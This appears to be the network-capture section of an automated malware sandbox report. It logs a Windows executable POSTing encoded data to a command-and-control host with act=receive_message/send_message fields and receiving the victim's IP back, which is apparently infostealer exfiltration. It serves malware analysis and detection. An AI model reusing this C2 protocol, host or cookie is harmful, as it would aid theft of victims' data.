2025-03-17 15:09:49 UTC	1007	IN	Data Raw: 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f Data Ascii: s="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">8.46.123.189</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Perfo
2025-03-17 15:09:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49724	172.67.212.102	443	6816	C:\Users\user\Desktop\9uB9RDznXl.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 15:09:50 UTC	352	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=1wogBNoKW5hZ_NxBucAsjcUkdHCc3fzo7BvrIBTf.bo-1742224189-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 43 Host: codxefusion.top
2025-03-17 15:09:50 UTC	43	OUT	Data Raw: 61 63 74 3d 72 65 63 65 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 36 4a 56 42 54 58 2d 2d 26 6a 3d Data Ascii: act=receive_message&ver=4.0&lid=6JVBTX--&j=
2025-03-17 15:09:50 UTC	813	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 15:09:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n%2FGyWt%2BDAcVtIFOpQPQ84A%2Bwr35AY8TXcNfu2IUcajR6gNWABNg6W58MzuLo3tu%2F2QuJoJUxLs10v1vbYYXSoa4T9U4FJHd67ZJFz8QIErFRCY78i5di0pO8ixmZGaVOf2Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 921d69e3ee2742ec-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2113&min_rtt=2113&rtt_var=793&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2840&recv_bytes=1031&delivery_rate=1379310&cwnd=226&unsent_bytes=0&cid=5c9880c2de5a6532&ts=586&x=0"
2025-03-17 15:09:50 UTC	556	IN	Data Raw: 64 63 37 0d 0a 2f 6c 6c 45 4e 43 51 73 51 4c 2b 58 66 74 42 2b 69 6d 72 50 64 67 49 76 50 6b 70 73 44 31 61 43 68 34 4c 77 6b 48 30 33 30 51 47 46 65 7a 49 57 48 68 68 73 6e 65 51 62 38 6b 54 2b 47 4c 6f 54 4c 67 31 66 4c 6b 34 31 4d 4f 50 72 38 5a 57 38 58 30 47 38 49 38 51 2f 4a 56 68 58 53 57 79 64 38 67 62 79 52 4e 45 52 37 52 4e 73 44 51 52 6f 43 57 55 30 34 2b 76 67 6b 66 73 53 52 37 31 69 6c 6a 55 6a 58 45 46 50 4a 4e 37 37 45 37 55 62 37 77 75 6c 47 47 74 43 56 69 64 4f 49 33 54 6e 2f 61 44 4b 73 6a 42 53 70 57 43 7a 4f 44 64 66 42 6c 46 73 78 4c 55 62 76 6c 79 77 53 4b 34 54 59 45 4e 59 4c 67 64 6e 50 75 72 6a 34 5a 54 36 44 56 36 33 61 5a 59 37 49 46 31 4c 52 6a 44 54 38 52 53 2b 48 65 55 4c 37 56 6f 67 53 6b 52 6f 56 69 31 6e 30 75 62 78 67 2b Data Ascii: dc7/llENCQsQL+XftB+imrPdgIvPkpsD1aCh4LwkH030QGFezIWHhhsneQb8kT+GLoTLg1fLk41MOPr8ZW8X0G8I8Q/JVhXSWyd8gbyRNER7RNsDQRoCWU04+vgkfsSR71iljUjXEFPJN77E7Ub7wulGGtCVidOI3Tn/aDKsjBSpWCzODdfBlFsxLUbvlywSK4TYENYLgdnPurj4ZT6DV63aZY7IF1LRjDT8RS+HeUL7VogSkRoVi1n0ubxg+
2025-03-17 15:09:50 UTC	1369	IN	Data Raw: 37 74 47 43 4f 65 52 4e 56 53 45 41 6c 79 37 55 44 2f 41 57 6f 44 36 46 55 4f 41 31 53 4c 51 46 2f 4e 66 4c 67 37 6f 44 2b 47 6c 4f 2b 59 4a 49 37 49 31 46 4c 51 43 54 61 39 68 53 32 48 65 59 45 70 78 64 6b 54 68 78 6d 54 6d 6f 73 6f 4c 32 67 6f 2f 45 62 55 71 46 67 6b 6e 73 35 47 46 38 4f 4a 64 47 31 52 50 49 57 37 67 57 6b 48 32 64 46 55 44 6f 46 59 6a 66 70 34 75 61 59 38 52 64 66 74 57 32 64 50 43 4e 52 56 45 41 70 30 50 59 57 74 46 79 6d 53 4b 6f 4d 49 42 55 63 42 67 31 38 49 74 4c 6d 38 59 4f 79 41 42 75 71 49 35 73 33 5a 67 34 47 52 79 72 53 2b 42 47 34 45 75 30 46 70 42 56 68 51 46 6f 6a 44 32 55 38 35 4f 4c 67 6c 76 38 51 57 37 4e 74 6c 44 34 69 58 45 38 4f 62 4a 33 79 42 50 4a 45 71 44 69 67 47 47 74 42 48 68 30 4e 59 7a 72 6e 38 36 43 4e 76 41 Data Ascii: 7tGCOeRNVSEAly7UD/AWoD6FUOA1SLQF/NfLg7oD+GlO+YJI7I1FLQCTa9hS2HeYEpxdkThxmTmosoL2go/EbUqFgkns5GF8OJdG1RPIW7gWkH2dFUDoFYjfp4uaY8RdftW2dPCNRVEAp0PYWtFymSKoMIBUcBg18ItLm8YOyABuqI5s3Zg4GRyrS+BG4Eu0FpBVhQFojD2U85OLglv8QW7NtlD4iXE8ObJ3yBPJEqDigGGtBHh0NYzrn86CNvA
2025-03-17 15:09:50 UTC	1369	IN	Data Raw: 6b 44 73 68 55 56 52 63 4a 39 76 6e 46 76 4a 53 71 41 2b 31 56 44 67 4e 61 6a 67 5a 66 43 4b 69 30 4f 4f 63 2f 42 68 44 38 33 7a 53 49 6d 5a 52 53 67 35 36 6e 66 34 63 76 68 76 67 44 71 6b 63 62 30 4a 56 4f 67 39 68 4f 76 4c 69 34 4a 76 38 45 46 6d 36 62 70 73 32 4c 56 78 4c 53 69 58 63 74 56 4c 79 47 2f 42 49 39 56 52 57 58 56 45 6b 49 47 59 34 36 61 58 2f 33 4f 74 66 55 72 38 6a 78 48 73 69 57 6b 35 45 4c 64 54 2f 46 72 30 56 36 41 43 6b 48 57 4e 4e 55 43 34 50 59 54 6a 74 34 4f 4f 58 2f 78 70 56 76 32 53 62 4f 6d 59 59 42 6b 6b 36 6e 61 31 63 67 68 48 6b 41 36 46 57 56 55 35 53 4a 67 6c 37 64 50 2b 72 2b 64 4c 31 45 78 58 72 49 35 4d 36 4b 31 78 4e 51 43 37 63 39 52 69 78 46 75 67 48 71 42 4a 6f 52 46 77 36 43 57 49 31 34 65 37 72 6e 2f 77 61 56 4c 5a Data Ascii: kDshUVRcJ9vnFvJSqA+1VDgNajgZfCKi0OOc/BhD83zSImZRSg56nf4cvhvgDqkcb0JVOg9hOvLi4Jv8EFm6bps2LVxLSiXctVLyG/BI9VRWXVEkIGY46aX/3OtfUr8jxHsiWk5ELdT/Fr0V6ACkHWNNUC4PYTjt4OOX/xpVv2SbOmYYBkk6na1cghHkA6FWVU5SJgl7dP+r+dL1ExXrI5M6K1xNQC7c9RixFugHqBJoRFw6CWI14e7rn/waVLZ
2025-03-17 15:09:50 UTC	240	IN	Data Raw: 31 70 48 53 43 72 59 2f 52 69 7a 47 75 34 4c 6f 68 42 6c 54 46 4d 73 41 6d 4d 2b 34 65 54 73 6d 66 30 55 55 50 4d 74 33 44 77 2b 46 68 34 4f 45 39 37 6a 43 36 49 51 71 42 66 6a 44 53 42 4b 55 47 68 57 4c 54 58 79 37 2b 71 63 39 78 42 51 73 47 79 62 4e 69 42 61 54 45 63 71 32 2f 6f 56 6f 42 2f 6b 42 71 6f 61 62 45 4e 52 49 67 31 67 64 4b 36 6c 35 34 71 79 52 78 57 66 5a 4a 45 56 4c 56 70 42 44 6a 32 54 37 46 79 31 45 4b 68 51 37 52 68 71 51 56 55 6f 42 32 67 38 36 2b 7a 6c 6b 2f 6b 61 56 72 56 75 6b 7a 49 30 58 45 56 41 49 64 48 35 47 72 4d 66 2b 67 43 6b 56 43 34 4e 57 7a 42 4f 4e 58 54 42 36 2b 32 47 39 51 38 56 72 43 32 46 65 79 46 61 42 68 5a 69 33 76 51 54 73 52 33 6c 44 71 51 63 59 45 74 5a 4a 77 4e 0d 0a Data Ascii: 1pHSCrY/RizGu4LohBlTFMsAmM+4eTsmf0UUPMt3Dw+Fh4OE97jC6IQqBfjDSBKUGhWLTXy7+qc9xBQsGybNiBaTEcq2/oVoB/kBqoabENRIg1gdK6l54qyRxWfZJEVLVpBDj2T7Fy1EKhQ7RhqQVUoB2g86+zlk/kaVrVukzI0XEVAIdH5GrMf+gCkVC4NWzBONXTB6+2G9Q8VrC2FeyFaBhZi3vQTsR3lDqQcYEtZJwN
2025-03-17 15:09:50 UTC	1369	IN	Data Raw: 33 62 63 64 0d 0a 6a 4d 2b 66 6c 37 5a 7a 39 47 56 32 2b 62 35 63 31 4c 31 42 47 54 79 69 64 75 31 79 31 42 4b 68 51 37 53 52 6a 54 56 77 7a 54 6e 4a 36 2b 61 58 6e 6e 72 4a 48 46 61 46 70 6c 54 73 6c 57 55 46 4b 4b 64 48 77 47 62 30 66 34 51 32 6b 47 6e 4a 45 55 69 41 47 59 6a 48 72 35 65 32 59 2f 68 39 57 38 79 33 63 50 44 34 57 48 67 34 51 30 50 6b 4b 74 52 4f 6f 46 2b 4d 4e 49 45 70 51 61 46 59 74 4d 2b 54 6c 35 5a 7a 33 45 6c 47 2b 61 49 34 70 4a 6c 4e 48 52 69 58 50 2b 52 61 35 48 4f 59 4c 70 68 52 68 51 56 30 6d 43 32 52 30 72 71 58 6e 69 72 4a 48 46 5a 78 67 6a 43 30 74 56 55 6f 4f 50 5a 50 73 58 4c 55 51 71 46 44 74 47 47 78 49 58 53 38 50 5a 44 54 6a 39 2b 65 53 39 68 52 61 76 32 32 51 4d 43 31 64 52 55 51 72 33 76 6b 61 73 78 4c 6f 42 71 31 55 Data Ascii: 3bcdjM+fl7Zz9GV2+b5c1L1BGTyidu1y1BKhQ7SRjTVwzTnJ6+aXnnrJHFaFplTslWUFKKdHwGb0f4Q2kGnJEUiAGYjHr5e2Y/h9W8y3cPD4WHg4Q0PkKtROoF+MNIEpQaFYtM+Tl5Zz3ElG+aI4pJlNHRiXP+Ra5HOYLphRhQV0mC2R0rqXnirJHFZxgjC0tVUoOPZPsXLUQqFDtGGxIXS8PZDTj9+eS9hRav22QMC1dRUQr3vkasxLoBq1U
2025-03-17 15:09:50 UTC	1369	IN	Data Raw: 67 42 61 54 66 75 37 75 47 52 2b 68 4a 59 76 57 6d 56 4d 69 46 61 51 6b 6c 69 6b 37 55 62 71 6c 79 77 53 49 59 31 54 57 46 62 4d 6b 35 79 65 76 6d 6c 35 35 36 79 52 78 57 2f 61 70 41 78 4c 56 46 4d 51 43 76 54 2f 67 36 67 48 2b 77 4c 70 42 64 6e 52 46 49 6f 43 57 67 36 35 2b 54 72 6c 76 67 63 55 2f 4d 74 33 44 77 2b 46 68 34 4f 44 74 37 31 45 61 68 63 39 30 61 30 56 47 64 42 48 48 42 4f 5a 7a 58 6b 36 2f 4b 5a 2f 68 35 48 6f 58 47 61 4f 69 68 64 53 6b 6b 68 30 2f 6f 66 76 68 72 6a 41 4b 77 62 62 45 52 63 4c 51 49 74 65 71 44 69 2b 4e 4b 71 58 33 79 5a 51 74 77 6b 61 45 38 47 53 53 36 64 72 56 79 2f 45 65 45 41 6f 78 52 70 52 6c 63 67 42 57 45 2b 38 75 72 73 6d 76 59 62 56 4c 35 6e 6c 44 59 71 56 6b 4a 4f 4a 39 37 34 48 66 4a 53 71 41 2b 31 56 44 67 4e 61 Data Ascii: gBaTfu7uGR+hJYvWmVMiFaQklik7UbqlywSIY1TWFbMk5yevml556yRxW/apAxLVFMQCvT/g6gH+wLpBdnRFIoCWg65+TrlvgcU/Mt3Dw+Fh4ODt71Eahc90a0VGdBHHBOZzXk6/KZ/h5HoXGaOihdSkkh0/ofvhrjAKwbbERcLQIteqDi+NKqX3yZQtwkaE8GSS6drVy/EeEAoxRpRlcgBWE+8ursmvYbVL5nlDYqVkJOJ974HfJSqA+1VDgNa
2025-03-17 15:09:50 UTC	1369	IN	Data Raw: 36 2b 61 58 6e 6e 72 4a 48 46 62 78 71 6a 6a 77 6a 58 6b 39 4f 4c 4e 54 38 47 37 59 66 36 51 79 68 47 32 6c 4f 56 43 6b 47 59 6a 66 67 37 75 69 59 38 78 46 51 38 79 33 63 50 44 34 57 48 67 34 4e 33 76 41 58 73 31 37 50 44 71 6f 59 49 46 49 53 4d 55 35 71 4f 4b 43 39 6f 4a 48 32 45 56 79 38 5a 35 59 38 4a 6c 46 41 54 69 72 57 2b 42 65 67 47 65 59 4e 72 42 52 68 51 6c 41 6f 48 47 67 36 36 2b 6a 6b 30 72 78 66 55 71 73 6a 78 48 73 47 56 55 64 48 4d 4e 37 30 46 66 49 44 70 68 48 74 45 32 77 4e 42 47 67 4c 62 6a 50 6d 36 75 69 55 39 68 42 61 73 47 6d 57 4f 79 35 52 51 6b 38 69 32 50 59 52 76 42 62 69 43 36 45 61 59 30 42 53 4b 45 34 6a 64 4f 66 39 6f 4d 71 79 50 45 4b 6c 61 59 64 37 4f 52 68 66 44 69 58 52 74 55 54 79 45 65 38 47 70 52 4a 75 53 30 34 6b 41 57 Data Ascii: 6+aXnnrJHFbxqjjwjXk9OLNT8G7Yf6QyhG2lOVCkGYjfg7uiY8xFQ8y3cPD4WHg4N3vAXs17PDqoYIFISMU5qOKC9oJH2EVy8Z5Y8JlFATirW+BegGeYNrBRhQlAoHGg66+jk0rxfUqsjxHsGVUdHMN70FfIDphHtE2wNBGgLbjPm6uiU9hBasGmWOy5RQk8i2PYRvBbiC6EaY0BSKE4jdOf9oMqyPEKlaYd7ORhfDiXRtUTyEe8GpRJuS04kAW
2025-03-17 15:09:50 UTC	1369	IN	Data Raw: 6f 49 53 79 52 77 66 39 49 34 35 37 66 68 59 42 54 54 44 50 38 78 2b 6b 48 36 38 32 6b 78 64 32 51 46 4d 6a 44 31 4d 4b 7a 75 6a 68 6b 66 78 64 5a 4b 56 75 6a 44 67 6a 55 58 68 77 4c 4e 72 68 47 37 77 61 36 45 6a 6a 56 47 38 4e 42 42 46 4f 4a 58 54 66 71 36 43 4b 73 6b 63 56 68 6d 43 53 4e 53 46 41 56 77 4d 42 79 2f 67 54 75 52 32 6f 52 75 30 53 49 42 55 4d 5a 6b 35 70 4a 61 43 39 73 4d 43 70 53 67 62 6b 4d 38 34 6b 61 45 38 47 57 47 4b 46 70 31 4c 79 44 71 68 51 37 56 4e 6a 58 30 34 75 44 58 73 33 70 39 76 65 73 65 49 51 57 4b 4e 34 33 48 56 6d 57 51 59 57 47 35 32 39 55 4b 63 66 35 67 61 71 41 69 42 79 45 6d 67 57 4c 57 79 67 30 4f 4f 63 2f 42 68 44 6f 69 36 2f 4b 79 6c 62 56 6c 56 69 6b 37 55 61 38 6b 53 37 52 75 30 51 63 51 30 45 65 46 77 32 59 62 4f Data Ascii: oISyRwf9I457fhYBTTDP8x+kH682kxd2QFMjD1MKzujhkfxdZKVujDgjUXhwLNrhG7wa6EjjVG8NBBFOJXTfq6CKskcVhmCSNSFAVwMBy/gTuR2oRu0SIBUMZk5pJaC9sMCpSgbkM84kaE8GWGKFp1LyDqhQ7VNjX04uDXs3p9veseIQWKN43HVmWQYWG529UKcf5gaqAiByEmgWLWyg0OOc/BhDoi6/KylbVlVik7Ua8kS7Ru0QcQ0EeFw2YbO
2025-03-17 15:09:50 UTC	1369	IN	Data Raw: 78 4e 30 73 48 4b 57 42 52 68 44 52 55 41 73 32 75 4d 4e 38 6c 4b 6f 42 2b 31 4d 57 51 30 55 61 44 45 6a 64 50 69 6c 75 4e 4c 48 48 46 75 39 5a 49 6f 71 61 33 46 49 53 53 50 4c 35 52 47 2b 50 65 73 5a 70 31 51 75 44 56 70 6f 56 6a 39 36 6f 4f 48 78 30 71 70 50 42 2b 67 32 7a 32 78 32 42 46 6b 41 4f 35 33 6a 58 4f 70 4f 70 6b 69 2f 56 44 67 4e 47 79 73 63 66 7a 4c 6a 38 2b 50 56 7a 43 46 77 70 47 43 4d 50 53 56 6f 65 47 55 75 32 2f 49 47 74 52 72 4f 4b 4f 31 61 49 45 49 63 63 44 63 74 66 4b 44 61 72 74 4c 71 58 77 33 7a 56 70 38 31 4b 46 46 51 58 32 2f 34 34 68 2b 69 47 75 74 49 34 31 52 6d 44 51 52 34 51 43 30 77 38 61 57 34 77 71 42 45 41 4f 41 30 7a 47 6b 35 47 46 38 4f 4e 4a 32 74 54 76 78 63 2b 6b 6a 31 56 43 64 4f 54 6a 6f 49 62 69 4c 6a 6f 74 36 73 Data Ascii: xN0sHKWBRhDRUAs2uMN8lKoB+1MWQ0UaDEjdPiluNLHHFu9ZIoqa3FISSPL5RG+PesZp1QuDVpoVj96oOHx0qpPB+g2z2x2BFkAO53jXOpOpki/VDgNGyscfzLj8+PVzCFwpGCMPSVoeGUu2/IGtRrOKO1aIEIccDctfKDartLqXw3zVp81KFFQX2/44h+iGutI41RmDQR4QC0w8aW4wqBEAOA0zGk5GF8ONJ2tTvxc+kj1VCdOTjoIbiLjot6s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49725	172.67.212.102	443	6816	C:\Users\user\Desktop\9uB9RDznXl.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 15:09:51 UTC	369	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3HVVW8D9014G1II8Y Cookie: __cf_mw_byp=1wogBNoKW5hZ_NxBucAsjcUkdHCc3fzo7BvrIBTf.bo-1742224189-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 14920 Host: codxefusion.top
2025-03-17 15:09:51 UTC	14920	OUT	Data Raw: 2d 2d 33 48 56 56 57 38 44 39 30 31 34 47 31 49 49 38 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 65 0d 0a 2d 2d 33 48 56 56 57 38 44 39 30 31 34 47 31 49 49 38 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 36 4a 56 42 54 58 2d 2d 0d 0a 2d 2d 33 48 56 56 57 38 44 39 30 31 34 47 31 49 49 38 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 33 48 56 56 57 38 44 39 30 31 34 47 31 49 49 38 59 0d 0a 43 6f 6e 74 65 6e Data Ascii: --3HVVW8D9014G1II8YContent-Disposition: form-data; name="act"send_message--3HVVW8D9014G1II8YContent-Disposition: form-data; name="lid"6JVBTX----3HVVW8D9014G1II8YContent-Disposition: form-data; name="pid"2--3HVVW8D9014G1II8YConten
2025-03-17 15:09:52 UTC	815	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 15:09:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YbL1bKUXH4x1UTPHfXJb9dR1WeAR3JkzHAvx%2FuIo4N%2F6UpyHCnzl%2BabP0bG6Y0RH3QNJ4gw%2B6Xp0NjEU9eEiMITa4uF0UEAIt0LNq2vxPU39Y62nKIiu6wDQxQBQDXrlWWY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 921d69ee5ca7cef2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2037&min_rtt=2036&rtt_var=764&sent=8&recv=19&lost=0&retrans=0&sent_bytes=2840&recv_bytes=15947&delivery_rate=1434184&cwnd=108&unsent_bytes=0&cid=5a03b0fd0d595126&ts=602&x=0"
2025-03-17 15:09:52 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-03-17 15:09:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49726	172.67.212.102	443	6816	C:\Users\user\Desktop\9uB9RDznXl.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 15:09:52 UTC	363	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ZX3KVQDKWRW Cookie: __cf_mw_byp=1wogBNoKW5hZ_NxBucAsjcUkdHCc3fzo7BvrIBTf.bo-1742224189-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15033 Host: codxefusion.top
2025-03-17 15:09:52 UTC	15033	OUT	Data Raw: 2d 2d 5a 58 33 4b 56 51 44 4b 57 52 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 65 0d 0a 2d 2d 5a 58 33 4b 56 51 44 4b 57 52 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 36 4a 56 42 54 58 2d 2d 0d 0a 2d 2d 5a 58 33 4b 56 51 44 4b 57 52 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 5a 58 33 4b 56 51 44 4b 57 52 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 Data Ascii: --ZX3KVQDKWRWContent-Disposition: form-data; name="act"send_message--ZX3KVQDKWRWContent-Disposition: form-data; name="lid"6JVBTX----ZX3KVQDKWRWContent-Disposition: form-data; name="pid"2--ZX3KVQDKWRWContent-Disposition: form-data
2025-03-17 15:09:53 UTC	815	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 15:09:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VhX6voXqJHFJuEwBfHEGh2yYzu2ZKpmvreJjC%2B8UwLGE8BHbc692P9pA4Z5L1Pvd9f8KZzmWMLCE9SNK42NVpSF%2FWbzZFP50eWLY46W9t1zcn4%2BwBAMAdnBu%2BsicVrmLEjQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 921d69f51e7dc5dc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2866&min_rtt=2855&rtt_var=1078&sent=8&recv=20&lost=0&retrans=0&sent_bytes=2838&recv_bytes=16054&delivery_rate=1022767&cwnd=81&unsent_bytes=0&cid=90cd34a49d837735&ts=530&x=0"
2025-03-17 15:09:53 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-03-17 15:09:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49727	172.67.212.102	443	6816	C:\Users\user\Desktop\9uB9RDznXl.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 15:09:54 UTC	363	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4VL9Z0WPLXH Cookie: __cf_mw_byp=1wogBNoKW5hZ_NxBucAsjcUkdHCc3fzo7BvrIBTf.bo-1742224189-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20522 Host: codxefusion.top
2025-03-17 15:09:54 UTC	15331	OUT	Data Raw: 2d 2d 34 56 4c 39 5a 30 57 50 4c 58 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 65 0d 0a 2d 2d 34 56 4c 39 5a 30 57 50 4c 58 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 36 4a 56 42 54 58 2d 2d 0d 0a 2d 2d 34 56 4c 39 5a 30 57 50 4c 58 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 34 56 4c 39 5a 30 57 50 4c 58 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 Data Ascii: --4VL9Z0WPLXHContent-Disposition: form-data; name="act"send_message--4VL9Z0WPLXHContent-Disposition: form-data; name="lid"6JVBTX----4VL9Z0WPLXHContent-Disposition: form-data; name="pid"3--4VL9Z0WPLXHContent-Disposition: form-data
2025-03-17 15:09:54 UTC	5191	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: un 4F([:7s~X`nO`i
